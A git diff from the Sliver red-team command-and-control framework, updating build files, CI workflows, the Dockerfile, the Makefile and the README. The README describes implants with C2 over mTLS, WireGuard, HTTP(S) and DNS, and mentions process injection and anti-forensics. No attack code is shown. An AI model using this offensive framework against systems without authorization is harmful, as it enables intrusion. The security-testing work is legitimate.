Add missing file

Service beacons

.dockerignore

@@ -1,27 +1,21 @@
-assets/*.zip
-assets/darwin
-assets/linux
-assets/windows
+/server/assets/fs/**.zip
 
-server/assets/fs/**.zip
+/*.sdk.tar.xz
 
-sliver-server
-sliver-server.exe
+/sliver-server
+/sliver-server.exe
 
-sliver-client
-sliver-client.exe
+/sliver-client
+/sliver-client.exe
 
-gui/
-gui/*
+/.vscode/
+/.vscode/*
 
-.vscode/
-.vscode/*
+/.github/
+/.github/*
 
-.github/
-.github/*
-
-build.py
-LICENSE
-SECURITY.md
-README.md
-CONTRIBUTING.md
+/build.py
+/LICENSE
+/SECURITY.md
+/README.md
+/CONTRIBUTING.md

.github/codeql/codeql-config.yml

@@ -2,4 +2,7 @@ name: "CodeQL Security Checks"
 
 queries:
   - name: Security and Quality
-    uses: security-extended
+    uses: security-extended
+    paths:
+      - server
+      - implant

.github/workflows/autorelease.yml

@@ -2,8 +2,8 @@ name: Release
 
 on:
   push:
-    tags: v[1-9]+.[0-9]+.[0-9]+
-    branches: master
+    tags: ["v[1-9]+.[0-9]+.[0-9]+"]
+    branches: [master, goreleaser]
 
 jobs:
 
@@ -11,35 +11,19 @@ jobs:
     name: Linux & Windows Build
     if: startsWith( github.ref, 'refs/tags/v')
     runs-on: ubuntu-latest
+    timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
     
     - name: OS Packages 
       run: |
         sudo apt-get update --fix-missing && sudo apt-get -y install \
         git build-essential zlib1g zlib1g-dev wget zip unzip \
-        mingw-w64 binutils-mingw-w64 g++-mingw-w64
-
-    - name: Protoc
-      env:
-        PROTOC_VER: 3.11.4
-      run: |
-        wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
-        && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
-        && sudo cp -vv ./bin/protoc /usr/local/bin/protoc
-
-    - name: Protoc-gen-go
-      env:
-        PROTOC_GEN_GO_VER: 1.3.5
-      run: |
-        wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
-        && tar xvf protoc-gen-go.tar.gz \
-        && cd protobuf-${PROTOC_GEN_GO_VER} \
-        && make install
+        mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
 
     - name: Check out code into the Go module directory
       uses: actions/checkout@v2
@@ -49,11 +33,10 @@ jobs:
 
     - name: Go Assets
       run: ./go-assets.sh
-    
-    - name: Remove Vendor
-      run: rm -rf ./vendor/
 
     - name: Make
+      env:
+        ARTIFACT_SUFFIX: _linux
       run: export PATH=/home/runner/go/bin/:$PATH && make linux
   
     - name: Linux Artifacts
@@ -63,7 +46,11 @@ jobs:
         path: ./sliver-*
 
     - name: Make Windows
-      run: export PATH=/home/runner/go/bin/:$PATH && make windows
+      env: 
+        ARTIFACT_SUFFIX: _windows
+      run: |
+        make clean
+        export PATH=/home/runner/go/bin/:$PATH && make windows
 
     - name: Windows Artifacts
       uses: actions/upload-artifact@v2
@@ -75,33 +62,17 @@ jobs:
     name: MacOS Build
     if: startsWith( github.ref, 'refs/tags/v')
     runs-on: macos-latest
+    timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
 
     - name: Mingw
       run: brew install mingw-w64
 
-    - name: Protoc
-      env:
-        PROTOC_VER: 3.11.4
-      run: |
-        wget -O protoc-${PROTOC_VER}-osx-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-osx-x86_64.zip \
-        && unzip protoc-${PROTOC_VER}-osx-x86_64.zip \
-        && sudo cp -vv ./bin/protoc /usr/local/bin/protoc
-
-    - name: Protoc-gen-go
-      env:
-        PROTOC_GEN_GO_VER: 1.3.5
-      run: |
-        wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
-        && tar xvf protoc-gen-go.tar.gz \
-        && cd protobuf-${PROTOC_GEN_GO_VER} \
-        && make install
-
     - name: Check out code into the Go module directory
       uses: actions/checkout@v2
 
@@ -111,14 +82,15 @@ jobs:
     - name: Go Assets
       run: ./go-assets.sh
 
-    - name: Remove Vendor
-      run: rm -rf ./vendor/
-
     - name: Make AMD64
+      env: 
+        ARTIFACT_SUFFIX: _macos
       run: make macos
-    
-    # - name: Make ARM64
-    #   run: make macos-arm64
+
+    - name: Make ARM64
+      env: 
+        ARTIFACT_SUFFIX: _macos-arm64
+      run: make macos-arm64
 
     - name: MacOS Artifacts
       uses: actions/upload-artifact@v2
@@ -133,41 +105,56 @@ jobs:
     name: "Tagged Release"
     if: startsWith( github.ref, 'refs/tags/v')
     runs-on: ubuntu-latest
+    timeout-minutes: 45
 
     steps:
-    - run: mkdir -p ./release && mkdir -p ./artifacts
+  
+    - run: mkdir -p ./builds
     - uses: actions/download-artifact@v2
       with:
-        path: ./artifacts
+        path: ./builds
+
+    - name: Extract Artifacts
+      run: |
+        mkdir -p ./artifacts
+        cp ./builds/linux/* ./artifacts
+        cp ./builds/windows/* ./artifacts
+        cp ./builds/macos/* ./artifacts
+
+    - id: install-secret-key
+      name: GPG Key(s)
+      run: |
+        cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
+        gpg --list-secret-keys --keyid-format LONG
 
     # Linux
-    - name: Package Linux
+    - name: Linux AMD64
       run: |
-        zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
-        zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
-
+        gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
+        gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
+    
     # Windows
-    - name: Package Windows
+    - name: Windows AMD64
       run: |
-        zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
-        zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
+        gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
+        gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
 
     # MacOS AMD64
-    - name: Package MacOS AMD64
+    - name: MacOS AMD64
       run: |
-        zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
-        zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
+        gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
+        gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
   
     # MacOS ARM64
-    # - name: Package MacOS ARM64
-    #   run: |
-    #     zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
-    #     zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
-
+    - name: Package MacOS ARM64
+      run: |
+        gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
+        gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
+  
     - name: "Publish Release"
       uses: "marvinpinto/action-automatic-releases@latest"
       with:
         repo_token: "${{ secrets.GITHUB_TOKEN }}"
-        prerelease: false
+        prerelease: true
         files: |
-          ./release/*.zip
+          ./artifacts/*

.github/workflows/codeql-scanning.yml

@@ -13,15 +13,15 @@ jobs:
     name: CodeQL Security Scan
     # CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
     runs-on: ubuntu-latest
+    timeout-minutes: 45
 
     steps:
-
       # Setup go environment
-      - name: Go 1.16
+      - name: Go 1.17
         uses: actions/setup-go@v2
         with:
-          go-version: '^1.16'
-      
+          go-version: "^1.17"
+
       - name: Checkout repository
         uses: actions/checkout@v2
         with:
@@ -31,13 +31,7 @@ jobs:
           if: ${{ github.event_name == 'pull_request' }}
           fetch-depth: 2
 
-      # If this run was triggered by a pull request event then checkout
-      # the head of the pull request instead of the merge commit.
-      # Only include this step if you are running this workflow on pull requests.
-      - run: git checkout HEAD^2
-        if: ${{ github.event_name == 'pull_request' }}
-
-      - name: OS Packages 
+      - name: OS Packages
         run: |
           sudo apt-get update --fix-missing && sudo apt-get -y install \
           git build-essential zlib1g zlib1g-dev wget zip unzip \
@@ -66,19 +60,18 @@ jobs:
       - name: Go Assets
         run: ./go-assets.sh
 
-      - name: Remove Vendor
-        run: rm -rf ./vendor/
-
       # Initializes the CodeQL tools for scanning.
       - name: Initialize CodeQL
         uses: github/codeql-action/init@v1
         with:
           config-file: ./.github/codeql/codeql-config.yml
-          languages: go 
+          languages: go
 
       # Build the server ... is this necessary though?
       - run: |
-         make linux
+          make
 
       - name: Perform CodeQL Analysis
-        uses: github/codeql-action/analyze@v1
+        uses: github/codeql-action/analyze@v1
+        env:
+          VERSION: ${{github.sha}}

.github/workflows/go.yml

@@ -12,35 +12,19 @@ jobs:
   linux-windows-build:
     name: Linux & Windows Build
     runs-on: ubuntu-latest
+    timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
     
     - name: OS Packages 
       run: |
         sudo apt-get update --fix-missing && sudo apt-get -y install \
         git build-essential zlib1g zlib1g-dev wget zip unzip \
-        mingw-w64 binutils-mingw-w64 g++-mingw-w64
-
-    - name: Protoc
-      env:
-        PROTOC_VER: 3.11.4
-      run: |
-        wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
-        && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
-        && sudo cp -vv ./bin/protoc /usr/local/bin/protoc
-
-    - name: Protoc-gen-go
-      env:
-        PROTOC_GEN_GO_VER: 1.3.5
-      run: |
-        wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
-        && tar xvf protoc-gen-go.tar.gz \
-        && cd protobuf-${PROTOC_GEN_GO_VER} \
-        && make install
+        mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
 
     - name: Check out code into the Go module directory
       uses: actions/checkout@v2
@@ -51,9 +35,6 @@ jobs:
     - name: Go Assets
       run: ./go-assets.sh
 
-    - name: Remove Vendor
-      run: rm -rf ./vendor/
-
     - name: Make
       run: make linux
 
@@ -66,33 +47,17 @@ jobs:
   macos-build:
     name: MacOS Build
     runs-on: macos-latest
+    timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
 
     - name: Mingw
       run: brew install mingw-w64
 
-    - name: Protoc
-      env:
-        PROTOC_VER: 3.11.4
-      run: |
-        wget -O protoc-${PROTOC_VER}-osx-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-osx-x86_64.zip \
-        && unzip protoc-${PROTOC_VER}-osx-x86_64.zip \
-        && sudo cp -vv ./bin/protoc /usr/local/bin/protoc
-
-    - name: Protoc-gen-go
-      env:
-        PROTOC_GEN_GO_VER: 1.3.5
-      run: |
-        wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
-        && tar xvf protoc-gen-go.tar.gz \
-        && cd protobuf-${PROTOC_GEN_GO_VER} \
-        && make install
-
     - name: Check out code into the Go module directory
       uses: actions/checkout@v2
 
@@ -102,9 +67,6 @@ jobs:
     - name: Go Assets
       run: ./go-assets.sh
 
-    - name: Remove Vendor
-      run: rm -rf ./vendor/
-
     - name: Make
       run: make macos
 

.gitignore

@@ -1,23 +1,23 @@
-.vscode/*
-.devcontainer
+/.vscode/*
+/.devcontainer
+/.idea
 
-release-*
+/Dockerfile.*
+/*.sdk.tar.xz
 
-# Generated by makefile
-client/version/version.go 
-server/assets/version.go
+/release-*
 
 # Diffs
 *.orig
 
 # Binaries
-sliver-server
-sliver-server_arm64
-sliver.exe
+/sliver-server
+/sliver-server_arm64
+/sliver.exe
 
-sliver-client
-sliver-client_arm64
-sliver-client.exe
+/sliver-client
+/sliver-client_arm64
+/sliver-client.exe
 
 sliver-server-linux.zip
 sliver-server-macos.zip
@@ -31,14 +31,14 @@ sliver-server-windows.zip
 *.dylib
 
 # Test binary, build with `go test -c`
-*.test
+/*.test
 
 # Output of the go coverage tool, specifically when used with LiteIDE
-*.out
+/*.out
 
 # Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
 .glide/
 
-*.pb.go
-
 .DS_Store
+
+dist/

CONTRIBUTING.md

@@ -13,6 +13,7 @@ Contributing to Sliver
 * Any changes to `vendor/` should be in a distinct commit
 * Avoid use of `CGO` (limits cross-platform support)
 * Avoid use of empty interfaces
+* Never import anything from the `server` package in the `client` package.
 
 ## Security
 
@@ -23,9 +24,10 @@ Contributing to Sliver
 * _Never_ use homegrown or non-peer reviewed encryption or random number generation algorithms.
 * Whenever possible, use the following algorithms/encryption modes:
     - AES-GCM-256
-    - RSA-OAEP-2048 / RSA-OAEP-4096
     - SHA2-256 / HMAC-SHA2-256 or higher (e.g. SHA2-384)
     - Curves P521, P384, P256
+    - Curve25519, XSalsa20, and Poly1305 (Nacl)
+    - ChaCha20Poly1305
 * _Never_ use the following in a security context, and _avoid_ use even in a non-security context:
     - MD5
     - SHA1

Dockerfile

@@ -1,4 +1,4 @@
-FROM golang:1.16
+FROM golang:1.17.8
 
 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,8 +6,9 @@ FROM golang:1.16
 #            a Docker deployment this is probably a good place to start.
 #
 
-ENV PROTOC_VER 3.11.4
-ENV PROTOC_GEN_GO_VER 1.3.5
+ENV PROTOC_VER 3.17.1
+ENV PROTOC_GEN_GO_VER v1.26.0
+ENV GRPC_GO v1.1.0
 
 # Base packages
 RUN apt-get update --fix-missing && apt-get -y install \
@@ -20,7 +21,7 @@ RUN apt-get update --fix-missing && apt-get -y install \
   libapr1 libaprutil1 libsvn1 \
   libpcap-dev libsqlite3-dev libgmp3-dev \
   zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
-  nasm
+  nasm gcc-multilib
 
 #
 # > User
@@ -31,7 +32,6 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
 #
 # > Metasploit
 #
-
 RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
   && chmod 755 msfinstall \
   && ./msfinstall
@@ -42,27 +42,29 @@ RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
 # > Sliver
 #
 
-# protoc
+# Protoc
 WORKDIR /tmp
 RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
     && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
     && cp -vv ./bin/protoc /usr/local/bin
+RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
+    && go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
 
-RUN wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
-    && tar xvf protoc-gen-go.tar.gz \
-    && cd protobuf-${PROTOC_GEN_GO_VER} \
-    && make install
-
-# assets
+# Go assets
 WORKDIR /go/src/github.com/bishopfox/sliver
 ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
 RUN ./go-assets.sh
 
+# Compile sliver server
 ADD . /go/src/github.com/bishopfox/sliver/
-RUN make linux && cp -vv sliver-server /opt/sliver-server
+RUN make \
+    && cp -vv sliver-server /opt/sliver-server \
+    && /opt/sliver-server unpack --force 
 
-RUN ls -lah && /opt/sliver-server unpack --force \
-    && /go/src/github.com/bishopfox/sliver/go-tests.sh
+# Run unit tests
+RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
+
+# Clean up
 RUN make clean \
     && rm -rf /go/src/* \
     && rm -rf /home/sliver/.sliver

Makefile

@@ -3,36 +3,51 @@
 #
 
 GO ?= go
-ENV = CGO_ENABLED=1
-TAGS = -tags osusergo,netgo,sqlite_omit_load_extension
-
-#
-# Version Information
-#
-GO_VERSION = $(shell $(GO) version)
-VERSION = $(shell git describe --abbrev=0)
-COMPILED_AT = $(shell date +%s)
-RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
-PKG = github.com/bishopfox/sliver/client/version
-GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
-GIT_COMMIT = $(shell git rev-parse HEAD)
-LDFLAGS = -ldflags "-s -w \
-	-X $(PKG).Version=$(VERSION) \
-	-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
-	-X $(PKG).CompiledAt=$(COMPILED_AT) \
-	-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
-	-X $(PKG).GitCommit=$(GIT_COMMIT) \
-	-X $(PKG).GitDirty=$(GIT_DIRTY)"
+ARTIFACT_SUFFIX ?= 
+ENV =
+TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
 
 
 #
 # Prerequisites 
 #
 # https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
-EXECUTABLES = protoc protoc-gen-go uname sed git zip go date
+EXECUTABLES = uname sed git zip date cut $(GO)
 K := $(foreach exec,$(EXECUTABLES),\
         $(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
 
+#
+# Version Information
+#
+GO_VERSION = $(shell $(GO) version)
+GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
+GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
+MIN_SUPPORTED_GO_MAJOR_VERSION = 1
+MIN_SUPPORTED_GO_MINOR_VERSION = 17
+GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
+
+VERSION ?= $(shell git describe --abbrev=0)
+COMPILED_AT = $(shell date +%s)
+RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
+ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
+ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
+VERSION_PKG = github.com/bishopfox/sliver/client/version
+CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
+
+GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
+GIT_COMMIT = $(shell git rev-parse HEAD)
+
+LDFLAGS = -ldflags "-s -w \
+	-X $(VERSION_PKG).Version=$(VERSION) \
+	-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
+	-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
+	-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
+	-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
+	-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
+	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
+	-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
+
+
 SED_INPLACE := sed -i
 STATIC_TARGET := linux
 
@@ -41,69 +56,91 @@ UNAME_P := $(shell uname -p)
 
 # If the target is Windows from Linux/Darwin, check for mingw
 CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
+ifneq (,$(findstring cgosqlite,$(TAGS)))
+	ENV +=CGO_ENABLED=1
+	ifeq ($(MAKECMDGOALS), windows)
+		K := $(foreach exec,$(CROSS_COMPILERS),\
+				$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
+		ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
+	endif
+endif
 
-# *** Start Darwin ***
+# Programs required for generating protobuf/grpc files
+PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
+ifeq ($(MAKECMDGOALS), pb)
+	K := $(foreach exec,$(PB_COMPILERS),\
+			$(if $(shell which $(exec)),some string,$(error "Missing protobuf util $(exec) in PATH")))
+endif
+
+# *** Darwin ***
 ifeq ($(UNAME_S),Darwin)
 	SED_INPLACE := sed -i ''
 	STATIC_TARGET := macos
-
+endif
 ifeq ($(UNAME_P),arm)
 	ENV += GOARCH=arm64
 endif
 
-ifeq ($(MAKECMDGOALS), windows)
-	K := $(foreach exec,$(CROSS_COMPILERS),\
-			$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
-	ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
+ifeq ($(MAKECMDGOALS), linux)
+	# Redefine LDFLAGS to add the static part
+	LDFLAGS = -ldflags "-s -w \
+		-extldflags '-static' \
+		-X $(VERSION_PKG).Version=$(VERSION) \
+		-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
+		-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
+		-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
+		-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
+		-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
+		-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
+		-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
 endif
 
-endif
-# *** End Darwin ***
-
-# *** Start Linux ***
-ifeq ($(UNAME_S),Linux)
-ifeq ($(MAKECMDGOALS), windows)
-	K := $(foreach exec,$(CROSS_COMPILERS),\
-			$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
-	ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
-endif
-endif
-# *** End Linux ***
-
 #
 # Targets
 #
 .PHONY: default
-default: clean pb
-	$(ENV) $(GO) build -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
-	$(ENV) $(GO) build -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
+default: clean validate-go-version
+	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: macos
-macos: clean pb
-	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
-	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
+macos: clean validate-go-version
+	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: macos-arm64
-macos-arm64: clean pb
-	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
-	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
+macos-arm64: clean validate-go-version
+	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: linux
-linux: clean pb
-	GOOS=linux $(ENV) $(GO) build -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
-	GOOS=linux $(ENV) $(GO) build -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
+linux: clean validate-go-version
+	GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: windows
-windows: clean pb
-	GOOS=windows $(ENV) $(GO) build -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
-	GOOS=windows $(ENV) $(GO) build -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
+windows: clean validate-go-version
+	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
+	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
 
 .PHONY: pb
 pb:
 	protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
 	protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
 	protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
-	protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=plugins=grpc,paths=source_relative:protobuf/
+	protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
+	protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative 
+
+validate-go-version:
+	@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
+		exit 0 ;\
+	elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
+		echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
+		exit 1; \
+	elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
+		echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
+		exit 1; \
+	fi
 
 .PHONY: clean-all
 clean-all: clean
@@ -115,8 +152,4 @@ clean-all: clean
 
 .PHONY: clean
 clean:
-	rm -f ./protobuf/client/*.pb.go
-	rm -f ./protobuf/sliver/*.pb.go
-	rm -f sliver-client_arm64 sliver-server_arm64
-	rm -f sliver-client sliver-server *.exe
-
+	rm -f sliver-client sliver-server sliver-*.exe

README.md

@@ -1,13 +1,11 @@
 Sliver
 ======
 
-⚠️ __Notice:__ Sliver is currently in __beta__, you've been warned :) and please consider [contributing](/CONTRIBUTING.md)
-
-Sliver is an open source, cross-platform adversary simulation/red team platform, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual-TLS, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
+Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
 
 The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
 
-![Go](https://github.com/BishopFox/sliver/workflows/Go/badge.svg?branch=master) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
+![Go](https://github.com/BishopFox/sliver/workflows/Go/badge.svg?branch=master) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
 
 ### Features
 
@@ -17,19 +15,23 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
 * Staged and Stageless payloads
 * [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
 * [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
-* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, HTTP(S), and DNS
-* [Fully scriptable](https://github.com/moloch--/sliver-script)
-* Local and remote process injection
-* Windows process migration
-* Windows user token manipulation
-* Anti-anti-anti-forensics
+* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
